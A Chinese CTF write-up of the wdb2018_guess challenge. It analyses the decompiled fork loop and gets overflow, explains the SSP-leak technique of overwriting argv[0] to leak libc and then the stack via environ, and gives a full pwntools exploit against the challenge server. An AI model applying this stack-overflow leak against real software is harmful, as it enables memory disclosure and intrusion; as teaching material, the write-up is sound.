SSP Leak & Fork

96）wdb2018_guess(Fork&SSP Leak&environ)

1774664982507-dd2c441f-5921-4ccf-a809-c18eb0a0ad39.png 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
    __int64 n3_1; // [rsp+20h] [rbp-80h]
    __int64 n3; // [rsp+28h] [rbp-78h]
    char buf[48]; // [rsp+30h] [rbp-70h] BYREF
    char s2[56]; // [rsp+60h] [rbp-40h] BYREF
    unsigned __int64 v10; // [rsp+98h] [rbp-8h]

    v10 = __readfsqword(0x28u);
    n3 = 3;
    LODWORD(stat_loc.__uptr) = 0;
    n3_1 = 0;
    sub_4009A6(a1, a2, a3);
    HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);
    if ( HIDWORD(stat_loc.__iptr) == -1 )
    {
        perror("./flag.txt");
        _exit(-1);
    }
    read(SHIDWORD(stat_loc.__iptr), buf, 0x30u);
    close(SHIDWORD(stat_loc.__iptr));
    puts("This is GUESS FLAG CHALLENGE!");
    while ( 1 )
    {
        if ( n3_1 >= n3 )
        {
            puts("you have no sense... bye :-) ");
            return 0;
        }
        if ( !(unsigned int)sub_400A11() )
            break;
        ++n3_1;
        wait((__WAIT_STATUS)&stat_loc);
    }
    puts("Please type your guessing flag");
    gets(s2);
    if ( !strcmp(buf, s2) )
        puts("You must have great six sense!!!! :-o ");
    else
        puts("You should take more effort to get six sence, and one more challenge!!");
    return 0;
}

主要工作是对该 main 函数进行分析：

1. 

1
2
3
n3 = 3;
LODWORD(stat_loc.__uptr) = 0;
n3_1 = 0;
  • 初始化 n3 为 3，表示最多允许 3 次循环。
  • 清零 stat_loc 的低32位。
  • 初始化当前次数计数器 n3_1 为 0。
  1. 读取 flag 文件
1
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);

调用 0，也就是以只读打开 flag.txt。把文件描述符 fd 存放在了指针的高 32 位当中

  1. 检查
1
2
3
4
5
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
    perror("./flag.txt");
    _exit(-1);
}

检查文件是否打开，失败为-1，打印错误信息并强制退出。

  1. 读取文件内容
1
2
read(SHIDWORD(stat_loc.__iptr), buf, 0x30u);
close(SHIDWORD(stat_loc.__iptr));

从刚才打开的文件描述符中读取 0x30（48字节）的数据，存放到 buf 数组中。 S 表示 signed 有符号

  1. GUESS
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
    if ( n3_1 >= n3 )
    {
        puts("you have no sense... bye :-) ");
        return 0;
    }
    if ( !(unsigned int)sub_400A11() )
        break;
    ++n3_1;
    wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(s2);
/* gets 没有任何边界检查，它会一直读取用户的输入直到遇到换行符。
   由于 s2 的大小只有 56 字节，只要用户输入超过 56 字节的数据，
   就会导致栈溢出，可以借此覆盖栈上的 Canary 或返回地址，从而劫持程序控制流。
  • n3_1 是已经尝试的次数（初始为 0），n3 是最大允许次数（前面代码初始化为了 3）。
  • 每次循环开始时，父进程都会检查次数。如果已经达到 3 次，父进程就会打印无情的告别语，并直接 return 0 结束整个程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( !(unsigned int)sub_400A11() )
     break;
     
"""
__int64 sub_400A11()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  v1 = fork();
  if ( v1 == -1 )
    err(1, "can not fork");
  return v1;
}    
"""
  • sub_400A11() 就是 fork()。程序运行到这里，会分裂成两个平行的进程。
  • 对于子进程（分身）**：**fork() 返回 0。!0 为真（1），执行 break。子进程成功跳出了这个 while(1) 循环，继续往下执行去调用危险的 gets(s2)，准备接收你的输入。
  • 对于父进程（本体）：fork() 返回子进程的 PID（一个大于 0 的数字）。!PID 为假（0），不会执行 break。父进程依然留在这个 while(1) 循环里。
1
2
++n3_1;
wait((__WAIT_STATUS)&stat_loc);
  • 由于子进程已经 break 出去了，只有父进程会执行这两行。
  • ++n3_1：父进程将已经消耗的机会次数加 1。
  • wait(…)：父进程在这里挂起（也就是睡着了），耐心等待刚刚派出去的子进程执行完毕。
  • 如果子进程中发生了栈溢出崩溃（比如触发了 Canary 保护机制被操作系统干掉）。
  • 或者子进程正常比对了 Flag 并退出（return 0）。
  • 只要子进程一死，父进程的 wait 就会立刻苏醒，然后重新回到 while(1) 的开头，开启下一轮的循环（检查次数 -> 召唤新分身 -> 继续等待）。
  1. tip
1
2
3
4
5
6
7
8
9
10
11
如果你直接在一个普通的程序里触发栈溢出并覆盖了 Stack Canary（栈保护金丝雀）
程序会立刻 abort（崩溃退出），你就没有任何机会继续利用漏洞了。

但是有了这个 while(1) + fork() 的机制，就产生了一个致命的弱点：
在 Linux 中，fork() 出的子进程会完美继承父进程的内存状态。
这意味着，这 3 次派出的子进程，它们内存里的 Stack Canary 的值是完全一模一样的！

这就给了攻击者一种名为 “逐字节爆破” 的手法。
每次溢出一个字节，如果程序崩溃了（通过 wait 状态感知），说明猜错了；
如果程序没崩溃，说明猜对了，就可以继续猜下一个字节。
虽然这道题只给了 3 次机会,但是可以不断地去爆破
  1. strcmp 进行比较
1
2
3
4
if ( !strcmp(buf, s2) )
  puts("You must have great six sense!!!! :-o ");
else
  puts("You should take more effort to get six sence, and one more challenge!!");

总结一下整个程序 fork 的流程：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1. 主程序（父进程）启动，读取真实的 flag.txt 保存到自己的内存里。

2. 循环阶段（最多 3 次）：
进入 while 循环后，父子进程开始分工：

    第一步：克隆分身 (fork)
    父进程克隆出一个一模一样的子进程。
    此时，子进程也拥有了和父进程一模一样的内存（包括那个真实的 Flag 和栈溢出漏洞）。

    第二步：子进程去“踩雷”
    子进程判断自己是分身（返回值是 0），于是跳出循环往下走。
    它调用危险的 gets() 接收你的输入，比对 Flag，最后退出（死亡）。
    如果你的输入太长导致程序崩溃，死掉的也只是这个子进程。

    第三步：父进程“看戏”
    父进程判断自己是本体（返回值是非 0），它留在循环里。
    把消耗次数 +1，然后调用 wait() ，直到子进程死掉它才醒来。

    第四步：
    子进程一死，父进程醒来，重新回到循环开头。
    只要没超过 3 次，它就会再克隆一个全新的子进程给你。
1774793301694-d659e175-c6d3-40f5-a7a8-5cd8ef286012.png

exp 思路：

把断点下在 gets 处，rdi 即为我们要输入的地址。我们还需要寻找 angr[0] 的位置在 0x…d38 的位置

1774792925819-808ca46a-58b8-4404-9605-75a16f942918.png

0xd38 - 0xc10 = 0x128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
# from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux')

binary = './GUESS'
r = remote('node5.buuoj.cn',27431)
libc = ELF('x64libc-2.23.so')
#r = process(binary)
elf = ELF(binary)
puts_got = elf.got['puts']

r.recvuntil("Please type your guessing flag")
payload = b'a'*0x128+p64(puts_got)
#gdb.attach(r)
r.sendline(payload)
r.recvuntil("stack smashing detected ***: ")
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))

之后通过 libc 去寻找真实地址：

1
2
3
4
libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['environ']
# environ 是 Linux 系统里的一个全局变量，它存着当前进程的所有环境变量的内存地址。
log.warn("libc_base -> " + hex(libc_base))
  • environ 的特性：environ 是一个全局变量，它存放在 Libc 的数据段中（所以它的地址可以通过 libc_base + libc.sym[‘environ’] 精确计算出来）。最关键的是，environ 里面存储的值，是一个指向环境变量的指针，而环境变量是存放在高地址的栈（Stack）上的。
  • 动作： 把 argv[0] 指针覆盖为 environ_addr。
  • 程序报错时， environ 指向栈，会去读取 environ 指向的内容，于是就把栈的地址打印出来了！
1
2
3
4
5
6
7
8
payload2 = b'a'*0x128 + p64(environ_addr)
r.sendline(payload2)
r.recvuntil("stack smashing detected ***: ")
stack_addr = u64(r.recv(6).ljust(8,b'\x00')) # - ???
log.warn("stack_addr -> "+hex(stack_addr))
#gdb.attach(r)
payload3 = b'a'*0x128+p64(stack_addr)
r.sendline(payload3)

先接收栈的地址，寻找栈和

1774780966947-71cd5979-2a72-46bd-868f-ffffba5d9120.png

0xf78 - 0xe70 = 0x168 两个地址差为 0x168 所以上面的 exp 应该是

1
2
3
4
5
6
7
8
payload2 = b'a'*0x128 + p64(environ_addr)
r.sendline(payload2)
r.recvuntil("stack smashing detected ***: ")
stack_addr = u64(r.recv(6).ljust(8,b'\x00')) - 0x168
log.warn("stack_addr -> "+hex(stack_addr))
#gdb.attach(r)
payload3 = b'a'*0x128+p64(stack_addr)
r.sendline(payload3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

from pwn import *
# from LibcSearcher import LibcSearcher
context(log_level='debug',os='linux')

binary = './GUESS'
r = remote('node5.buuoj.cn',27431)
libc = ELF('x64libc-2.23.so')
#r = process(binary)
elf = ELF(binary)
puts_got = elf.got['puts']

r.recvuntil("Please type your guessing flag")
payload = b'a'*0x128+p64(puts_got)
#gdb.attach(r)
r.sendline(payload)
r.recvuntil("stack smashing detected ***: ")
puts_addr = u64(r.recv(6).ljust(8,b'\x00'))

libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['environ']
# environ 是 Linux 系统里的一个全局变量，它存着当前进程的所有环境变量的内存地址。
log.warn("libc_base -> " + hex(libc_base))

payload2 = b'a'*0x128 + p64(environ_addr)
r.sendline(payload2)
r.recvuntil("stack smashing detected ***: ")
stack_addr = u64(r.recv(6).ljust(8,b'\x00'))-0x168
log.warn("stack_addr -> "+hex(stack_addr))
#gdb.attach(r)
payload3 = b'a'*0x128+p64(stack_addr)
r.sendline(payload3)


r.interactive()

更新: 2026-03-29 22:08:41
原文: https://www.yuque.com/idcm/wnemg9/tdof1cdghf9huxok